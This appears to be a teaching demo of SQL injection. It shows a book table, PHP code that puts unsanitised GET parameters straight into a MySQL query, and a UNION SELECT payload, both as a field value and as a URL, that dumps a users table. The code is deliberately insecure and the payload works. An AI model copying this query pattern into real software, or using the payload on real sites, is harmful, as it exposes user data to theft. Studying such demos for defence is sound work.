| #ID | Title | Author |
|---|---|---|
| 1 | A Game of Thrones | George R. R. Martin |
| 2 | A Clash of Kings | George R. R. Martin |
| 3 | A Storm of Swords | George R. R. Martin |
| 4 | A Feast for Crows | George R. R. Martin |
| 5 | A Dance with Dragons | George R. R. Martin |
| 6 | The Winds of Winter | George R. R. Martin |
| 7 | A Dream of Spring | George R. R. Martin |
| 8 | Software libero pensiero libero | Richard Stallman |
| 9 | Perche' sono vegetariana | Margherita hack |
| 10 | I miei primi novant'anni laici e ribelli | Margherita hack |
| 11 | A caccia dei misteri spaventosi del cielo | Margherita hack |
| 12 | In piena liberta' e consapevolezza | Margherita hack |
| 13 | La mia vita in bicicletta | Margherita hack |
SELECT * FROM books;
if ($_GET['all'] == 1)
{
$query = "SELECT * FROM books;";
}
else if ($_GET['title'] || $_GET['author'])
{
$query = sprintf("SELECT * FROM books WHERE title = '%s' OR author = '%s';",
$_GET['title'],
$_GET['author']);
}
if ($query != null)
{
$result = mysqli_query($connection, $query);
while (($row = mysqli_fetch_row($result)) != null)
{
printf("<tr><td>%s</td><td>%s</td><td>%s</td></tr>", $row[0], $row[1], $row[2]);
}
}
Pass ' UNION SELECT * FROM users WHERE '1'='1 as author to get all users data.
The same result is obtained by using url books1.php?author='+UNION+SELECT+*+FROM+users+WHERE '1'='1.